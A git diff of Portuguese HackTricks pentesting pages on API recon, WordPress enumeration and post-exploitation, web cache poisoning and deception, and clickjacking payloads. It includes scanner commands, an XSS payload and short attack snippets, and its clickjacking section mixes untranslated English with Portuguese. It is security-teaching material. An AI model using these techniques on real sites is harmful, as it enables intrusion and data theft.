* `Substituir: v1 (versão mais baixa)`
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.io/) para construir e **automatizar fluxos de trabalho** com facilidade, utilizando as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para criar e **automatizar fluxos de trabalho** com facilidade, usando as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Acesse hoje mesmo:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -154,7 +154,7 @@ Neste repositório, você encontrará: Mapas mentais, dicas e truques, recursos
|
|||
|
||||
### 🚪 Primeiro portão: `{{Reconhecimento}}`
|
||||
|
||||
O primeiro portão para entrar no Império de Segurança de API é saber como obter informações sobre a infraestrutura da API e como realizar uma reconhecimento poderoso na API para extrair as portas ocultas que podem comprometer toda a infraestrutura, portanto, fornecemos este mapa mental atualizado de Reconhecimento de API com as últimas ferramentas e metodologias em reconhecimento de API:
|
||||
O primeiro portão para entrar no Império de Segurança de API é saber como coletar informações sobre a infraestrutura da API e como realizar uma reconhecimento poderoso na API para extrair as portas ocultas que podem comprometer toda a infraestrutura, portanto, fornecemos este mapa mental atualizado de Reconhecimento de API com as últimas ferramentas e metodologias em reconhecimento de API:
|
||||
|
||||
\
|
||||
![](https://github.com/Cyber-Guy1/API-SecurityEmpire/blob/main/assets/API%20Pentesting%20Mindmap.png)
|
||||
|
@ -210,7 +210,7 @@ Leia este documento para aprender como **pesquisar** e **explorar** as 10 princi
|
|||
|
||||
## Ferramentas
|
||||
|
||||
* [**kiterunner**](https://github.com/assetnote/kiterunner): Ótima ferramenta para **descobrir pontos de extremidade de API**.
|
||||
* [**kiterunner**](https://github.com/assetnote/kiterunner): Ótima ferramenta para **descobrir pontos de extremidade de API.**
|
||||
```bash
|
||||
kr scan https://domain.com/api/ -w routes-large.kite -x 20 # Downloaded from kiterunner repo
|
||||
kr scan https://domain.com/api/ -A=apiroutes-220828 -x 20
|
||||
|
@ -228,8 +228,8 @@ kr brute https://domain.com/api/ -w /tmp/lang-english.txt -x 20 -d=0
|
|||
|
||||
<figure><img src="../../.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Use [**Trickest**](https://trickest.io/) para construir e **automatizar fluxos de trabalho** facilmente com as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Obtenha acesso hoje mesmo:
|
||||
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir e **automatizar fluxos de trabalho** com facilidade, utilizando as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Acesse hoje mesmo:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
|
@ -237,7 +237,7 @@ Obtenha acesso hoje mesmo:
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? Ou gostaria de ter acesso à **versão mais recente do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Você trabalha em uma **empresa de segurança cibernética**? Gostaria de ver sua **empresa anunciada no HackTricks**? Ou gostaria de ter acesso à **versão mais recente do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo Telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
|
@ -15,7 +15,7 @@
|
|||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.io/) para construir e **automatizar fluxos de trabalho** com as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir e **automatizar fluxos de trabalho** com as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Acesse hoje:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -24,7 +24,7 @@ Acesse hoje:
|
|||
|
||||
Os arquivos **enviados** vão para: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`\
|
||||
Os arquivos de **temas podem ser encontrados em /wp-content/themes/**, então se você alterar algum php do tema para obter RCE, provavelmente usará esse caminho. Por exemplo: Usando o **tema twentytwelve**, você pode **acessar** o arquivo **404.php** em: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)\
|
||||
**Outra URL útil poderia ser:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
**Outra URL útil pode ser:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
|
||||
No arquivo **wp-config.php**, você pode encontrar a senha raiz do banco de dados.
|
||||
|
||||
|
@ -47,15 +47,15 @@ Caminhos de login padrão para verificar: _**/wp-login.php, /wp-login/, /wp-admi
|
|||
|
||||
**Pós-exploração**
|
||||
|
||||
* O arquivo `wp-config.php` contém informações necessárias pelo WordPress para se conectar ao banco de dados, como o nome do banco de dados, o host do banco de dados, o nome de usuário e a senha, as chaves de autenticação e os salts, e o prefixo da tabela do banco de dados. Esse arquivo de configuração também pode ser usado para ativar o modo DEBUG, que pode ser útil para solução de problemas.
|
||||
* O arquivo `wp-config.php` contém informações necessárias pelo WordPress para se conectar ao banco de dados, como o nome do banco de dados, o host do banco de dados, o nome de usuário e a senha, chaves de autenticação e salts, e o prefixo da tabela do banco de dados. Esse arquivo de configuração também pode ser usado para ativar o modo DEBUG, que pode ser útil para solução de problemas.
|
||||
|
||||
Permissões dos usuários
|
||||
|
||||
* **Administrador**
|
||||
* **Editor**: Publica e gerencia suas próprias postagens e as de outros.
|
||||
* **Autor**: Publica e gerencia suas próprias postagens.
|
||||
* **Contribuidor**: Escreve e gerencia suas postagens, mas não pode publicá-las.
|
||||
* **Assinante**: Navega pelas postagens e edita seu perfil.
|
||||
* **Editor**: Publica e gerencia suas próprias postagens e de outros usuários
|
||||
* **Autor**: Publica e gerencia suas próprias postagens
|
||||
* **Contribuidor**: Escreve e gerencia suas próprias postagens, mas não pode publicá-las
|
||||
* **Assinante**: Navega pelas postagens e edita seu perfil
|
||||
|
||||
## Enumeração Passiva
|
||||
|
||||
|
@ -113,18 +113,18 @@ Existem várias maneiras de extrair informações sobre as versões do WordPress
|
|||
|
||||
3. **Arquivos de manifesto**: Os plugins do WordPress geralmente possuem um arquivo de manifesto (manifest file) que contém informações sobre a versão. Procure por arquivos como `plugin-name.php` ou `plugin-name/readme.txt` e verifique o conteúdo para encontrar a versão.
|
||||
|
||||
4. **Headers HTTP**: Ao fazer uma solicitação HTTP para o site WordPress, verifique os headers de resposta para encontrar informações sobre a versão. Procure por headers como `X-Powered-By` ou `X-Generator`.
|
||||
4. **Headers HTTP**: Alguns servidores podem enviar informações sobre a versão do WordPress nos headers HTTP. Use ferramentas como o cURL ou o Burp Suite para visualizar os headers da resposta do servidor.
|
||||
|
||||
5. **Ferramentas de escaneamento**: Existem várias ferramentas de escaneamento automatizado que podem ajudar a extrair informações sobre as versões do WordPress e dos plugins instalados. Alguns exemplos populares incluem WPScan, WPScanGUI e WPScan Online.
|
||||
5. **Fingerprinting**: Existem ferramentas de fingerprinting específicas para WordPress, como o WPScan, que podem ser usadas para identificar a versão do WordPress e dos plugins instalados.
|
||||
|
||||
Ao extrair informações sobre as versões, é importante lembrar de não utilizar essas informações para fins maliciosos. O objetivo é apenas identificar possíveis vulnerabilidades e ajudar a manter o site seguro.
|
||||
É importante lembrar que a extração de informações sobre versões não deve ser usada para fins maliciosos. Essas informações devem ser usadas apenas para fins de teste de penetração e para ajudar a garantir a segurança do site WordPress.
|
||||
```bash
|
||||
curl -s -X GET https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
|
||||
```
|
||||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.io/) para construir e automatizar facilmente fluxos de trabalho com as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir e automatizar facilmente fluxos de trabalho com as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Acesse hoje mesmo:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -290,14 +290,14 @@ wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detec
|
|||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.io/) para construir e automatizar facilmente fluxos de trabalho com as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir e **automatizar fluxos de trabalho** facilmente, alimentados pelas ferramentas comunitárias mais avançadas do mundo.\
|
||||
Obtenha acesso hoje:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## Obtenha acesso sobrescrevendo um bit
|
||||
|
||||
Mais do que um ataque real, isso é uma curiosidade. No CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man), você pode inverter 1 bit de qualquer arquivo do WordPress. Portanto, você pode inverter a posição `5389` do arquivo `/var/www/html/wp-includes/user.php` para anular a operação NOT (`!`).
|
||||
Mais do que um ataque real, isso é uma curiosidade. No CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man), você poderia inverter 1 bit de qualquer arquivo do WordPress. Portanto, você poderia inverter a posição `5389` do arquivo `/var/www/html/wp-includes/user.php` para anular a operação NOT (`!`).
|
||||
```php
|
||||
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
|
||||
return new WP_Error(
|
||||
|
@ -436,7 +436,7 @@ Também, **instale apenas plugins e temas confiáveis do WordPress**.
|
|||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.io/) para construir e **automatizar fluxos de trabalho** facilmente, alimentados pelas ferramentas comunitárias mais avançadas do mundo.\
|
||||
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir e **automatizar fluxos de trabalho** com facilidade, utilizando as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Acesse hoje mesmo:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -448,7 +448,7 @@ Acesse hoje mesmo:
|
|||
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? Ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo Telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -4,7 +4,7 @@
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
@ -15,7 +15,7 @@
|
|||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.io/) para construir e **automatizar fluxos de trabalho** com as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir e **automatizar fluxos de trabalho** com as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Acesse hoje:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -116,20 +116,20 @@ Exemplo de uso: `wcvs -u example.com`
|
|||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.io/) para construir e automatizar facilmente fluxos de trabalho com as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir e automatizar facilmente fluxos de trabalho com as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Acesse hoje mesmo:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## Exemplos Vulneráveis
|
||||
## Exemplos de Vulnerabilidades
|
||||
|
||||
### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577))
|
||||
|
||||
O ATS encaminhou o fragmento dentro da URL sem removê-lo e gerou a chave de cache usando apenas o host, o caminho e a consulta (ignorando o fragmento). Portanto, a solicitação `/#/../?r=javascript:alert(1)` foi enviada para o backend como `/#/../?r=javascript:alert(1)` e a chave de cache não continha a carga útil, apenas o host, o caminho e a consulta.
|
||||
O ATS encaminhava o fragmento dentro da URL sem removê-lo e gerava a chave de cache usando apenas o host, o caminho e a consulta (ignorando o fragmento). Portanto, a solicitação `/#/../?r=javascript:alert(1)` era enviada ao backend como `/#/../?r=javascript:alert(1)` e a chave de cache não continha a carga útil, apenas o host, o caminho e a consulta.
|
||||
|
||||
### GitHub CP-DoS
|
||||
|
||||
O envio de um valor incorreto no cabeçalho de tipo de conteúdo acionou uma resposta em cache 405. A chave de cache continha o cookie, portanto, era possível atacar apenas usuários não autenticados.
|
||||
O envio de um valor inválido no cabeçalho de tipo de conteúdo acionava uma resposta em cache 405. A chave de cache continha o cookie, portanto, era possível atacar apenas usuários não autenticados.
|
||||
|
||||
### GitLab + GCP CP-DoS
|
||||
|
||||
|
@ -137,7 +137,7 @@ O GitLab usa buckets do GCP para armazenar conteúdo estático. Os **buckets do
|
|||
|
||||
### Rack Middleware (Ruby on Rails)
|
||||
|
||||
A aplicação Ruby on Rails geralmente é implantada junto com o middleware Rack. O código Rack abaixo pega o valor do **`x-forwarded-scheme` e o usa como o esquema da solicitação**.
|
||||
Aplicativos Ruby on Rails são frequentemente implantados junto com o middleware Rack. O código Rack abaixo pega o valor do **`x-forwarded-scheme` e o usa como o esquema da solicitação**.
|
||||
|
||||
![](<../.gitbook/assets/image (159) (2).png>)
|
||||
|
||||
|
@ -145,13 +145,13 @@ O envio do cabeçalho `x-forwarded-scheme: http` resultaria em um redirecionamen
|
|||
|
||||
![](<../.gitbook/assets/image (166).png>)
|
||||
|
||||
A aplicação também pode suportar o cabeçalho `X-forwarded-host` e redirecionar o usuário para esse host, permitindo carregar arquivos JavaScript do servidor do atacante:
|
||||
O aplicativo também pode suportar o cabeçalho `X-forwarded-host` e redirecionar o usuário para esse host, permitindo carregar arquivos JavaScript do servidor do atacante:
|
||||
|
||||
![](<../.gitbook/assets/image (157) (2).png>)
|
||||
|
||||
### 403 e Storage Buckets
|
||||
|
||||
Anteriormente, o **Cloudflare** costumava **armazenar em cache as respostas 403**, portanto, o envio de **cabeçalhos de Autorização inválidos** tentando acessar **S3** ou **Azure Storage Blobs** expostos retornaria um 403 que seria armazenado em cache. O Cloudflare não armazena mais respostas 403, mas isso pode funcionar com outros proxies.
|
||||
Anteriormente, o **Cloudflare** costumava **armazenar em cache** as respostas **403**, portanto, o envio de **cabeçalhos de Autorização inválidos** tentando acessar **S3** ou **Azure Storage Blobs** expostos retornaria um 403 que seria armazenado em cache. O Cloudflare não armazena mais respostas 403, mas isso pode funcionar com outros proxies.
|
||||
|
||||
![](<../.gitbook/assets/image (171).png>)
|
||||
|
||||
|
@ -159,7 +159,7 @@ Anteriormente, o **Cloudflare** costumava **armazenar em cache as respostas 403*
|
|||
|
||||
Com frequência, os caches são configurados para **incluir apenas parâmetros GET específicos na chave de cache**.
|
||||
|
||||
Por exemplo, o Fastly usando o Varnish **armazenava em cache o parâmetro `size`** na solicitação, mas se você também enviasse o parâmetro **`siz%65`** com um valor incorreto, a **chave de cache** seria construída com o **parâmetro size bem escrito**, mas o **backend** usaria o **valor dentro do parâmetro codificado na URL**.
|
||||
Por exemplo, o Fastly usando o Varnish **armazenava em cache o parâmetro `size`** na solicitação, mas se você também enviasse o parâmetro **`siz%65`** com um valor inválido, a **chave de cache** seria construída com o **parâmetro size bem escrito**, mas o **backend** usaria o **valor dentro do parâmetro codificado na URL**.
|
||||
|
||||
![](<../.gitbook/assets/image (180).png>)
|
||||
|
||||
|
@ -179,7 +179,7 @@ O formato do nome do cabeçalho é definido em [RFC7230](https://datatracker.iet
|
|||
|
||||
![](<../.gitbook/assets/image (175) (2).png>)
|
||||
|
||||
Em teoria, se um nome de cabeçalho contiver caracteres diferentes dos listados em **tchar**, ele deveria ser rejeitado com uma solicitação inválida 400. Na prática, no entanto, os servidores nem sempre respeitam o RFC. A maneira mais fácil de explorar essa nuance era direcionar o Akamai, que não rejeita cabeçalhos inválidos, mas os encaminha e armazena em cache qualquer erro 400 desde que o cabeçalho cache-control não esteja presente.
|
||||
Em teoria, se um nome de cabeçalho contiver caracteres diferentes dos listados em **tchar**, ele deveria ser rejeitado com uma solicitação inválida 400. Na prática, no entanto, os servidores nem sempre respeitam o RFC. A maneira mais fácil de explorar essa nuance era direcionando o Akamai, que não rejeita cabeçalhos inválidos, mas os encaminha e armazena em cache qualquer erro 400 desde que o cabeçalho cache-control não esteja presente.
|
||||
|
||||
![](<../.gitbook/assets/image (163).png>)
|
||||
|
||||
|
@ -193,7 +193,7 @@ O envio de um cabeçalho contendo um caractere ilegal, `\`, causaria um erro de
|
|||
|
||||
O objetivo do Engano de Cache é fazer com que os clientes **carreguem recursos que serão salvos pelo cache com suas informações confidenciais**.
|
||||
|
||||
Em primeiro lugar, observe que **extensões** como `.css`, `.js`, `.png`, etc., geralmente são **configuradas** para serem **salvas** no **cache**. Portanto, se você acessar `www.example.com/profile.php/nonexistent.js`, o cache provavelmente armazenará a resposta porque ele reconhece a extensão `.js`. No entanto, se a **aplicação** estiver **reproduzindo** com o **conteúdo sensível** do usuário armazenado em _www.example.com/profile.php_, você pode **roubar** esse conteúdo de outros usuários.
|
||||
Em primeiro lugar, observe que **extensões** como `.css`, `.js`, `.png`, etc., geralmente são **configuradas** para serem **salvas** no **cache**. Portanto, se você acessar `www.example.com/profile.php/nonexistent.js`, o cache provavelmente armazenará a resposta porque ele reconhece a extensão `.js`. No entanto, se o **aplicativo** estiver **reproduzindo** com o **conteúdo sensível** do usuário armazenado em _www.example.com/profile.php_, você pode **roubar** esse conteúdo de outros usuários.
|
||||
|
||||
Outras coisas para testar:
|
||||
|
||||
|
@ -222,7 +222,7 @@ Aprenda aqui como realizar ataques de Engano de Cache ao abusar do Contrabando d
|
|||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.io/) para construir e **automatizar fluxos de trabalho** com facilidade, utilizando as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir e **automatizar fluxos de trabalho** com facilidade, utilizando as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Acesse hoje mesmo:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
|
|
@ -15,22 +15,22 @@
|
|||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.io/) para construir e **automatizar fluxos de trabalho** com as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Acesse hoje:
|
||||
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir e **automatizar fluxos de trabalho** com as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Obtenha acesso hoje:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## O que é Clickjacking
|
||||
|
||||
Clickjacking é um ataque que **enganar** um **usuário** a **clicar** em um **elemento** de uma página da web que é **invisível** ou disfarçado como outro elemento. Isso pode fazer com que os usuários baixem malware sem saber, acessem páginas da web maliciosas, forneçam credenciais ou informações sensíveis, transfiram dinheiro ou comprem produtos online. (De [aqui](https://www.imperva.com/learn/application-security/clickjacking/)).
|
||||
Clickjacking é um ataque que **enganar** um **usuário** para **clicar** em um **elemento** de uma página da web que é **invisível** ou disfarçado como outro elemento. Isso pode fazer com que os usuários inadvertidamente baixem malware, acessem páginas da web maliciosas, forneçam credenciais ou informações sensíveis, transfiram dinheiro ou comprem produtos online. (De [aqui](https://www.imperva.com/learn/application-security/clickjacking/)).
|
||||
|
||||
### Truque de preencher formulários
|
||||
|
||||
Às vezes é possível **preencher o valor dos campos de um formulário usando parâmetros GET ao carregar uma página**. Um atacante pode abusar desse comportamento para preencher um formulário com dados arbitrários e enviar a carga de clickjacking para que o usuário pressione o botão Enviar.
|
||||
Às vezes é possível **preencher o valor dos campos de um formulário usando parâmetros GET ao carregar uma página**. Um atacante pode abusar desse comportamento para preencher um formulário com dados arbitrários e enviar a carga útil de clickjacking para que o usuário pressione o botão Enviar.
|
||||
|
||||
### Preencher formulário com Arrastar e Soltar
|
||||
|
||||
Se você precisa que o usuário **preencha um formulário**, mas não quer pedir diretamente a ele para escrever algumas informações específicas (como o e-mail e/ou senha específica que você conhece), você pode simplesmente pedir a ele para **Arrastar e Soltar** algo que escreverá seus dados controlados, como neste [**exemplo**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/).
|
||||
Se você precisa que o usuário **preencha um formulário** mas não quer pedir diretamente a ele para escrever algumas informações específicas (como o e-mail e/ou senha específica que você conhece), você pode simplesmente pedir a ele para **Arrastar e Soltar** algo que escreverá seus dados controlados como neste [**exemplo**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/).
|
||||
|
||||
### Payload básico
|
||||
```markup
|
||||
|
@ -56,13 +56,11 @@ z-index: 1;
|
|||
|
||||
Clickjacking attacks can be made more effective by using a multistep payload. In a multistep payload, the attacker divides the malicious action into multiple steps, each triggered by a separate click event. This technique can help bypass certain security measures that may be in place to detect and prevent clickjacking attacks.
|
||||
|
||||
To implement a multistep payload, the attacker first identifies the target action they want to perform on the victim's behalf. This could be anything from posting a message on a social media platform to making a financial transaction.
|
||||
To implement a multistep payload, the attacker first identifies the target action they want to perform on the victim's behalf. This could be anything from submitting a form to making a purchase. The attacker then breaks down this action into smaller steps, each of which can be triggered by a separate click event.
|
||||
|
||||
Next, the attacker creates a series of hidden iframes or buttons on their malicious website. Each iframe or button corresponds to a step in the multistep payload. When the victim clicks on the visible content of the attacker's website, they unknowingly trigger the hidden iframes or buttons, which perform the desired action on their behalf.
|
||||
For example, let's say the target action is submitting a form. The attacker can divide this action into three steps: filling out the form, clicking the submit button, and confirming the submission. Each step is triggered by a separate click event, and the attacker can use various techniques to hide these clicks from the victim.
|
||||
|
||||
By dividing the malicious action into multiple steps, the attacker can make it more difficult for security measures to detect the clickjacking attack. Each step may appear harmless on its own, but when combined, they can lead to a potentially harmful action being performed without the victim's knowledge or consent.
|
||||
|
||||
It is important for developers and security professionals to be aware of the multistep payload technique and take appropriate measures to protect against clickjacking attacks. This can include implementing frame-busting techniques, using X-Frame-Options headers, and regularly testing web applications for vulnerabilities.
|
||||
By using a multistep payload, the attacker can make the clickjacking attack more covert and increase the chances of successfully executing the malicious action. It is important for developers and security professionals to be aware of this technique and implement appropriate countermeasures to protect against multistep clickjacking attacks.
|
||||
```markup
|
||||
<style>
|
||||
iframe {
|
||||
|
@ -88,21 +86,25 @@ left:210px;
|
|||
```
|
||||
### Carga de Arrastar e Soltar + Clique
|
||||
|
||||
Clickjacking can be combined with other techniques to create more sophisticated attacks. One such combination is the Drag & Drop + Click payload. This technique takes advantage of the user's interaction with draggable elements on a webpage.
|
||||
Clickjacking can be combined with drag and drop functionality to create a more sophisticated attack. In this technique, the attacker tricks the user into dragging and dropping an object onto a hidden button or link, which triggers a malicious action.
|
||||
|
||||
Clickjacking pode ser combinado com outras técnicas para criar ataques mais sofisticados. Uma dessas combinações é a carga de Arrastar e Soltar + Clique. Essa técnica aproveita a interação do usuário com elementos arrastáveis em uma página da web.
|
||||
O clickjacking pode ser combinado com a funcionalidade de arrastar e soltar para criar um ataque mais sofisticado. Nessa técnica, o atacante engana o usuário para arrastar e soltar um objeto em um botão ou link oculto, o que aciona uma ação maliciosa.
|
||||
|
||||
The attacker first creates a malicious webpage that contains a draggable element, such as an image or a button. When the user visits this webpage, they may be enticed to interact with the draggable element.
|
||||
To perform this attack, the attacker first creates a transparent overlay on top of the target website. This overlay contains a draggable object that appears harmless to the user. The attacker then uses JavaScript to capture the user's drag and drop events and redirect them to the hidden button or link.
|
||||
|
||||
